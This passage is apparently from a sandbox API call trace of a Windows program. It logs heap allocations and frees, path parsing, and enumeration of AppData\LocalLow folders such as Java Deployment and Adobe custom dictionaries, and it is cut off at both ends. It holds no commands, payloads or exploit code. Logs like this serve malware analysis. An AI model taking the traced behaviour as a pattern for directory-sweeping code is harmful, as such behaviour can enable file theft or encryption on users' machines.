hHeap=0x5e0000) returned 1 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.711] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.711] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.712] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.712] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.713] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022ff0 [0122.713] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\") returned="security\\" [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.714] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.714] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.714] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.714] PathFindFileNameW (pszPath="") returned="" [0122.714] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.715] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.715] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.715] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022f48 | out: hHeap=0x5e0000) returned 1 [0122.715] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.715] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0122.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0122.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0122.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0122.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.715] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.715] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.715] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.715] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.715] PathFindFileNameW (pszPath="") returned="" [0122.715] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022f48 | out: hHeap=0x5e0000) returned 1 [0122.716] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.716] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0122.716] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0122.716] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094cf0 | out: hHeap=0x5e0000) returned 1 [0122.716] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30231e8 | out: hHeap=0x5e0000) returned 1 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac910 | out: hHeap=0x5e0000) returned 1 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6d80 | out: hHeap=0x5e0000) returned 1 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff7230 | out: hHeap=0x5e0000) returned 1 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff72f8 | out: hHeap=0x5e0000) returned 1 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023098 | out: hHeap=0x5e0000) returned 1 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0122.716] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.716] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.716] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="all\\" [0122.716] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.717] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.717] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.717] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.717] PathFindFileNameW (pszPath="") returned="" [0122.717] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.718] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.718] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.718] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.718] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.718] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.718] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="brt\\" [0122.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.719] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.719] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.719] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.719] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.719] PathFindFileNameW (pszPath="") returned="" [0122.719] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.720] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.720] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0122.720] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.720] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019ce0 | out: hHeap=0x5e0000) returned 1 [0122.720] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.720] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\") returned="brz\\" [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.721] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.721] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.721] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.721] PathFindFileNameW (pszPath="") returned="" [0122.721] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.722] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019770 | out: hHeap=0x5e0000) returned 1 [0122.722] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 